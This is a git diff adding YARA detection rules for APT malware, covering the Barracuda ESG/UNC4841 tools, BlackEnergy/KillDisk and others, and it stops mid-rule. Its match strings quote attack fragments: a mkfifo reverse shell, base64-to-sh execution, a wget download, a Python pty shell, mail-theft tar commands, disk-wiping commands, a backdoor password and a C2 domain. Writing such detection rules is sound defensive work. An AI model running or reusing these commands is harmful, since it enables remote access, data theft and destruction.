diff --git a/yara-Neo23x0/apt_barracuda_esg_unc4841_jun23.yar b/yara-Neo23x0/apt_barracuda_esg_unc4841_jun23.yar
new file mode 100644
index 0000000..90f81c0
--- /dev/null
+++ b/yara-Neo23x0/apt_barracuda_esg_unc4841_jun23.yar
@@ -0,0 +1,228 @@
+
+rule APT_UNC4841_ESG_Barracuda_CVE_2023_2868_Forensic_Artifacts_Jun23_1 : SCRIPT {
+   meta:
+      description = "Detects forensic artifacts found in the exploitation of CVE-2023-2868 in Barracuda ESG devices by UNC4841"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+      date = "2023-06-15"
+      modified = "2023-06-16"
+      score = 75
+      id = "50518fa1-33de-5fe5-b957-904d976fb29a"
+   strings:
+      $x01 = "=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64" ascii
+      $x02 = ";echo $abcdefg | base64 -d | sh" ascii
+      $x03 = "setsid sh -c \"mkfifo /tmp/p" ascii
+      $x04 = "sh -i </tmp/p 2>&1" ascii
+      $x05 = "if string.match(hdr:body(), \"^[%w%+/=" ascii
+      $x06 = "setsid sh -c \"/sbin/BarracudaMailService eth0\""
+      $x07 = "echo \"set the bvp ok\""
+      $x08 = "find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;"
+      $x09 = " /mail/mstore | xargs -i cp {} /usr/share/.uc/"
+      $x10 = "tar -T /mail/mstore/tmplist -czvf "
+
+      $sa1 = "sh -c wget --no-check-certificate http"
+      $sa2 = ".tar;chmod +x "
+   condition:
+      1 of ($x*)
+      or all of ($sa*)
+}
+
+rule APT_MAL_UNC4841_SEASPY_Jun23_1 {
+   meta:
+      description = "Detects SEASPY malware used by UNC4841 in attacks against Barracuda ESG appliances exploiting CVE-2023-2868"
+      author = "Florian Roth"
+      reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
+      date = "2023-06-16"
+      score = 85
+      hash1 = "3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115"
+      id = "bcff58f8-87f6-5371-8b96-5d4c0f349000"
+   strings:
+      $sx1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0" ascii fullword
+      $s1 = "fcntl.tmp.amd64." ascii
+      $s2 = "Child process id:%d" ascii fullword
+      $s3 = "[*]Success!" ascii fullword
+      $s4 = "NO port code" ascii 
+      $s5 = "enter open tty shell" ascii
+
+      $op1 = { 48 89 c6 f3 a6 0f 84 f7 01 00 00 bf 6c 84 5f 00 b9 05 00 00 00 48 89 c6 f3 a6 0f 84 6a 01 00 00 }
+      $op2 = { f3 a6 0f 84 d2 00 00 00 48 89 de bf 51 5e 61 00 b9 05 00 00 00 f3 a6 74 21 48 89 de }
+      $op3 = { 72 de 45 89 f4 e9 b8 f4 ff ff 48 8b 73 08 45 85 e4 ba 49 3d 62 00 b8 44 81 62 00 48 0f 45 d0 }
+   condition:
+      uint16(0) == 0x457f
+      and filesize < 9000KB
+      and 3 of them
+      or 5 of them
+}
+
+rule APT_MAL_UNC4841_SEASPY_LUA_Jun23_1 {
+   meta:
+      description = "Detects SEASPY malware related LUA script"
+      author = "Florian Roth"
+      reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
+      date = "2023-06-16"
+      score = 90
+      hash1 = "56e8066bf83ff6fe0cec92aede90f6722260e0a3f169fc163ed88589bffd7451"
+      id = "a44861d0-107e-589b-8cf1-3fbc2f5c78dc"
+   strings:
+      $x1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii fullword
+      $x2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii fullword
+
+      $xe1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii base64
+      $xe2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii base64
+   condition:
+      filesize < 500KB and 1 of them
+}
+
+rule APT_HKTL_Proxy_Tool_Jun23_1 {
+   meta:
+      description = "Detects agent used as proxy tool in UNC4841 intrusions - possibly Alchemist C2 framework implant"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+      date = "2023-06-16"
+      score = 75
+      hash1 = "ca72fa64ed0a9c22d341a557c6e7c1b6a7264b0c4de0b6f717dd44bddf550bca"
+      hash2 = "57e4b180fd559f15b59c43fb3335bd59435d4d76c4676e51a06c6b257ce67fb2"
+      id = "0e406737-3083-53c2-a6d2-14c07794125a"
+   strings:
+      //$a1 = "Go build" // not available in all samples
+      $a2 = "/src/runtime/panic.go"
+
+      $s1 = "main.handleClientRequest" ascii fullword
+      $s2 = "main.sockIP.toAddr" ascii fullword
+      // $s3 = "main.slave" ascii fullword
+   condition:
+      ( 
+         uint16(0) == 0x5a4d // Windows PE
+         or uint32be(0) == 0x7f454c46 // ELF
+         or uint16(0) == 0xfeca or uint16(0) == 0xfacf or uint32(0) == 0xbebafeca or uint32(0) == 0xbebafeca // MacOS
+      )
+      and filesize < 10MB 
+      and all of them
+}
+
+rule SUSP_FScan_Port_Scanner_Output_Jun23 : SCRIPT {
+   meta:
+      description = "Detects output generated by the command line port scanner FScan"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+      date = "2023-06-15"
+      score = 70
+      id = "7eb4b27f-0c5b-5d7e-b759-95d7894d5822"
+   strings:
+      $s1 = "[*] NetInfo:" ascii
+      $s2 = ":443 open" ascii
+      $s3 = "   [->]"
+   condition:
+      filesize < 800KB and all of them
+}
+
+rule SUSP_PY_Shell_Spawn_Jun23_1 : SCRIPT {
+   meta:
+      description = "Detects suspicious one-liner to spawn a shell using Python"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+      date = "2023-06-15"
+      score = 70
+      id = "15fd2c9a-c425-5d4d-9209-fd3826074d6c"
+   strings:
+      $x1 = "python -c import pty;pty.spawn(\"/bin/" ascii
+   condition:
+      1 of them
+}
+
+/* Mandiant Rules */
+/* Source: https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally */
+
+rule APT_MAL_Hunting_LUA_SEASIDE_1 {
+    meta:
+        description = "Hunting rule looking for strings observed in SEASIDE samples."
+        author = "Mandiant"
+        date = "2023-06-15"
+        score = 70
+        reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+        hash = "cd2813f0260d63ad5adf0446253c2172"
+        id = "86eaff7b-4ca0-53cd-8886-da66a36c778f"
+    strings:
+        $s1 = "function on_helo()"
+        $s2 = "local bindex,eindex = string.find(helo,'.onion')" 
+        $s3 = "helosend = 'pd'..' '..helosend" 
+        $s4 = "os.execute(helosend)" 
+    condition:
+        filesize < 1MB and all of ($s*)
+}
+
+rule APT_MAL_LNX_Hunting_Linux_WHIRLPOOL_1 {
+    meta:
+        description = "Hunting rule looking for strings observed in WHIRLPOOL samples."
+        author = "Mandiant"
+        date = "2023-06-15"
+        score = 70
+        reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+        hash = "177add288b289d43236d2dba33e65956"
+        id = "a997bd65-c502-53a0-8bb8-62daaa916f0d"
+    strings:
+        $s1 = "error -1 exit" fullword
+        $s2 = "create socket error: %s(error: %d)\n" fullword
+        $s3 = "connect error: %s(error: %d)\n" fullword
+        $s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}
+        $c1 = "plain_connect" fullword
+        $c2 = "ssl_connect" fullword
+        $c3 = "SSLShell.c" fullword
+    condition:
+        uint32(0) == 0x464c457f and filesize < 15MB and (all of ($s*) or all of ($c*))
+}
+
+rule APT_MAL_LUA_Hunting_SKIPJACK_1 {
+    meta:
+        author = "Mandiant"
+        date = "2023-06-15"
+        reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+        description = "Hunting rule looking for strings observed in SKIPJACK installation script."
+        hash = "e4e86c273a2b67a605f5d4686783e0cc"
+        score = 70
+        id = "0026375c-7f37-5ef9-bd55-5b9fc499e5d2"
+    strings:
+        $str1 = "hdr:name() == 'Content-ID'" base64
+        $str2 = "hdr:body() ~= nil" base64
+        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64
+        $str4 = "openssl aes-256-cbc" base64
+        $str5 = "mod_content.lua" 
+        $str6 = "#!/bin/sh" 
+    condition:
+        all of them
+}
+
+rule APT_MAL_LUA_Hunting_Lua_SKIPJACK_2 {
+    meta:
+        author = "Mandiant"
+        date = "2023-06-15"
+        reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+        description = "Hunting rule looking for strings observed in SKIPJACK samples."
+        hash = "87847445f9524671022d70f2a812728f"
+        score = 70
+        id = "e1eac294-fe60-5bb2-bae4-0f7bcbe6b1db"
+    strings:
+        $str1 = "hdr:name() == 'Content-ID'" 
+        $str2 = "hdr:body() ~= nil" 
+        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" 
+        $str4 = "openssl aes-256-cbc" 
+        $str5 = "| base64 -d| sh 2>" 
+    condition:
+        all of them
+}
+rule APT_MAL_LUA_Hunting_Lua_SEASPRAY_1 {
+    meta:
+        author = "Mandiant"
+        date = "2023-06-15"
+        reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+        description = "Hunting rule looking for strings observed in SEASPRAY samples."
+        hash = "35cf6faf442d325961935f660e2ab5a0"
+        score = 70
+        id = "8c744b85-b61e-56d0-8a9e-ae6a954e1b95"
+    strings:
+        $str1 = "string.find(attachment:filename(),'obt075') ~= nil" 
+        $str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())" 
+        $str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())" 
+    condition:
+        all of them
+}
diff --git a/yara-Neo23x0/apt_beepservice.yar b/yara-Neo23x0/apt_beepservice.yar
new file mode 100644
index 0000000..95b9677
--- /dev/null
+++ b/yara-Neo23x0/apt_beepservice.yar
@@ -0,0 +1,31 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-12
+	Identifier:
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule BeepService_Hacktool {
+	meta:
+		description = "Detects BeepService Hacktool used by Chinese APT groups"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/p32Ozf"
+		date = "2016-05-12"
+		score = 85
+		hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
+		hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
+		hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
+		hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
+		id = "8813a01a-10db-52e7-bb1e-322864e87b15"
+	strings:
+		$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
+
+		$s1 = "123.exe" fullword ascii
+		$s2 = "regclean.exe" fullword ascii
+		$s3 = "192.168.88.69" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $x1 and 1 of ($s*)
+}
diff --git a/yara-Neo23x0/apt_between-hk-and-burma.yar b/yara-Neo23x0/apt_between-hk-and-burma.yar
new file mode 100644
index 0000000..42c40fd
--- /dev/null
+++ b/yara-Neo23x0/apt_between-hk-and-burma.yar
@@ -0,0 +1,224 @@
+rule dubseven_file_set
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for service files loading UP007"
+
+		id = "5b0a9cb9-aeef-5508-8854-51ad846b22c5"
+	strings:
+		$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
+		$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
+		$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
+		$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
+		$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
+		$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
+		$file7 = "\\Microsoft\\Internet Explorer\\mon"
+		$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		//Just a few of these as they differ
+		3 of ($file*)
+}
+
+rule dubseven_dropper_registry_checks
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for registry keys checked for by the dropper"
+
+		id = "8369cdbb-53b8-5dc5-9181-fd49747042a7"
+	strings:
+		$reg1 = "SOFTWARE\\360Safe\\Liveup"
+		$reg2 = "Software\\360safe"
+		$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
+		$reg4 = "SOFTWARE\\Avira\\Avira Destop"
+		$reg5 = "SOFTWARE\\rising\\RAV"
+		$reg6 = "SOFTWARE\\JiangMin"
+		$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		all of ($reg*)
+}
+
+rule dubseven_dropper_dialog_remains
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for related dialog remnants. How rude."
+
+		id = "6029ea74-26fc-57d1-aaed-be1ea2138844"
+	strings:
+		$dia1 = "fuckMessageBox 1.0" wide
+		$dia2 = "Rundll 1.0" wide
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		any of them
+}
+
+
+rule maindll_mutex
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Matches on the maindll mutex"
+
+		id = "7a89dae3-9e03-5803-9729-78e6e65e91d3"
+	strings:
+		$mutex = "h31415927tttt"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$mutex
+}
+
+
+rule SLServer_dialog_remains
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for related dialog remnants."
+
+		id = "cf199d25-ce5e-52c2-88de-32a48dee4c6f"
+	strings:
+		$slserver = "SLServer" wide fullword
+
+		$fp1 = "Dell Inc." wide fullword
+		$fp2 = "ScriptLogic Corporation" wide
+
+		$extra1 = "SLSERVER" wide fullword
+		$extra2 = "\\SLServer.pdb" ascii
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		// Reduce false positives
+		not 1 of ($fp*) and
+		1 of ($extra*) and
+
+		$slserver
+}
+
+rule SLServer_mutex
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the mutex."
+
+		id = "decdefd0-fe20-5adf-9d8c-0e2b954481a0"
+	strings:
+		$mutex = "M&GX^DSF&DA@F"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$mutex
+}
+
+rule SLServer_command_and_control
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the C2 server."
+
+		id = "e4fcda6c-1c9f-5b58-8b07-8d1a0dc4eaf6"
+	strings:
+		$c2 = "safetyssl.security-centers.com"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$c2
+}
+
+rule SLServer_campaign_code
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the related campaign code."
+
+		id = "672f506e-0cc1-5b09-873b-c3d206486bac"
+	strings:
+		$campaign = "wthkdoc0106"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$campaign
+}
+
+rule SLServer_unknown_string
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for a unique string."
+
+		id = "00341604-480f-59aa-9c18-009e7b53928e"
+	strings:
+		$string = "test-b7fa835a39"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$string
+}
diff --git a/yara-Neo23x0/apt_bigbang.yar b/yara-Neo23x0/apt_bigbang.yar
new file mode 100644
index 0000000..89a014a
--- /dev/null
+++ b/yara-Neo23x0/apt_bigbang.yar
@@ -0,0 +1,51 @@
+import "pe"
+
+rule APT_ME_BigBang_Gen_Jul18_1 {
+   meta:
+      description = "Detects malware from Big Bang campaign against Palestinian authorities"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
+      date = "2018-07-09"
+      hash1 = "4db68522600f2d8aabd255e2da999a9d9c9f1f18491cfce9dadf2296269a172b"
+      hash2 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
+      hash3 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
+      id = "f1097998-9414-511c-b177-ff09154964a8"
+   strings:
+      $x2 = "%@W@%S@c@ri%@p@%t.S@%he@%l%@l" ascii
+      $x3 = "S%@h%@e%l%@l." ascii
+      $x4 = "(\"S@%t@%a%@rt%@up\")" ascii
+      $x5 = "aW5zdGFsbCBwcm9nOiBwcm9nIHdpbGwgZGVsZXRlIG9sZCB0bXAgZmlsZQ==" fullword ascii /* base64 encoded string 'install prog: prog will delete old tmp file' */
+      $x6 = "aW5zdGFsbCBwcm9nOiBUaGVyZSBpcyBubyBvbGQgZmlsZSBpbiB0ZW1wLg==" fullword ascii /* base64 encoded string 'install prog: There is no old file in temp.' */
+      $x7 = "VXBkYXRlIHByb2c6IFRoZXJlIGlzIG5vIG9sZCBmaWxlIGluIHRlbXAu" fullword ascii /* base64 encoded string 'Update prog: There is no old file in temp.' */
+      $x8 = "aW5zdGFsbCBwcm9nOiBDcmVhdGUgVGFzayBhZnRlciA1IG1pbiB0byBydW4gRmlsZSBmcm9tIHRtcA==" fullword ascii /* base64 encoded string 'install prog: Create Task after 5 min to run File from tmp' */
+      $x9 = "UnVuIEZpbGU6IE15IHByb2cgaXMgRXhpdC4=" fullword ascii /* base64 encoded string 'Run File: My prog is Exit.' */
+      $x10 = "li%@%@nk.W%@%@indo@%%@%@%wS%@%@tyle = 3" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+         1 of them or
+         pe.imphash() == "0f09ea2a68d04f331df9a5d0f8641332"
+      )
+}
+
+rule APT_ME_BigBang_Mal_Jul18_1 {
+   meta:
+      description = "Detects malware from Big Bang report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
+      date = "2018-07-09"
+      hash1 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
+      hash2 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
+      id = "f30b2e11-f90a-5068-8eaa-25f11218ec6c"
+   strings:
+      $s1 = "%Y%m%d-%I-%M-%S" fullword ascii
+      $s2 = "/api/serv/requests/%s/runfile/delete" fullword ascii
+      $s3 = "\\part.txt" ascii
+      $s4 = "\\ALL.txt" ascii
+      $s5 = "\\sat.txt" ascii
+      $s6 = "runfile.proccess_name" fullword ascii
+      $s7 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 4 of them
+}
diff --git a/yara-Neo23x0/apt_bitter.yar b/yara-Neo23x0/apt_bitter.yar
new file mode 100644
index 0000000..04e2114
--- /dev/null
+++ b/yara-Neo23x0/apt_bitter.yar
@@ -0,0 +1,21 @@
+
+rule EXT_APT_Bitter_Win32k_0day_Feb21 {
+   meta:
+      description = "Detects code that exploits a Windows 0day exploited by Bitter APT group"
+      author = "dbappsecurity_lieying_lab"
+      date = "2021-01-01"
+      reference = "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/"
+      id = "b1892b52-4b94-5571-ad63-8750a321f1f2"
+   strings:
+      $s1 = "NtUserConsoleControl" ascii wide
+      $s2 = "NtCallbackReturn" ascii wide
+      $s3 = "CreateWindowEx" ascii wide
+      $s4 = "SetWindowLong" ascii wide
+
+      $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
+      $a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
+      $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}
+
+   condition:
+      uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*)
+}
diff --git a/yara-Neo23x0/apt_blackenergy.yar b/yara-Neo23x0/apt_blackenergy.yar
new file mode 100644
index 0000000..e574469
--- /dev/null
+++ b/yara-Neo23x0/apt_blackenergy.yar
@@ -0,0 +1,188 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-02-19
+	Identifier: BlackEnergy Malware
+*/
+
+rule BlackEnergy_BE_2 {
+   meta:
+      description = "Detects BlackEnergy 2 Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/DThzLz"
+      date = "2015/02/19"
+      hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
+      id = "c93991b9-77e8-5a73-80ef-e21df770c3a5"
+   strings:
+      $s0 = "<description> Windows system utility service  </description>" fullword ascii
+      $s1 = "WindowsSysUtility - Unicode" fullword wide
+      $s2 = "msiexec.exe" fullword wide
+      $s3 = "WinHelpW" fullword ascii
+      $s4 = "ReadProcessMemory" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 250KB and all of ($s*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-03
+	Identifier: BlackEnergy Malware
+*/
+
+rule BlackEnergy_VBS_Agent {
+	meta:
+		description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
+		id = "0876f752-d476-5706-918e-edfda9bd7928"
+	strings:
+		$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
+		$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
+		$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii /* Goodware String - occured 1 times */
+	condition:
+		filesize < 1KB and 2 of them
+}
+
+rule DropBear_SSH_Server {
+	meta:
+		description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 50
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+		id = "22595d8b-b7ea-570e-ad17-d5bcec613abf"
+	strings:
+		$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
+		$s2 = "Badly formatted command= authorized_keys option" fullword ascii
+		$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
+		$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
+		$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule BlackEnergy_BackdoorPass_DropBear_SSH {
+	meta:
+		description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+		id = "60db00dd-72b3-5a28-90de-2a397b1e007b"
+	strings:
+		$s1 = "passDs5Bu9Te7" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s1
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule BlackEnergy_KillDisk_1 {
+	meta:
+		description = "Detects KillDisk malware from BlackEnergy"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 80
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
+		hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+		id = "304e7aa3-48d3-5015-aaf1-6b1df2441b75"
+	strings:
+		$s0 = "system32\\cmd.exe" fullword ascii
+		$s1 = "system32\\icacls.exe" fullword wide
+		$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
+		$s3 = "shutdown /r /t %d" fullword ascii
+		$s4 = "/C /Q /grant " fullword wide
+		$s5 = "%08X.tmp" fullword ascii
+		$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
+		$s7 = "/c format %c: /Y /Q" fullword ascii
+		$s8 = "taskhost.exe" fullword wide /* Goodware String - occured 1 times */
+		$s9 = "shutdown.exe" fullword wide /* Goodware String - occured 1 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 8 of them
+}
+
+rule BlackEnergy_KillDisk_2 {
+	meta:
+		description = "Detects KillDisk malware from BlackEnergy"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		modified = "2023-01-06"
+		score = 80
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+		id = "f0304e87-a278-5963-9af0-935c088c00ec"
+	strings:
+		$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
+		$s1 = "%s%08X.tmp" fullword ascii
+		$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
+		$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 3 of them
+}
+
+rule BlackEnergy_Driver_USBMDM {
+	meta:
+		description = "Black Energy Driver"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		date = "2016-01-04"
+		super_rule = 1
+		hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
+		hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
+		hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
+		hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
+		hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
+		hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
+		hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
+		hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
+		id = "d5e8faf0-38cb-5193-b859-83ea09278011"
+	strings:
+		$s1 = "USB MDM Driver" fullword wide
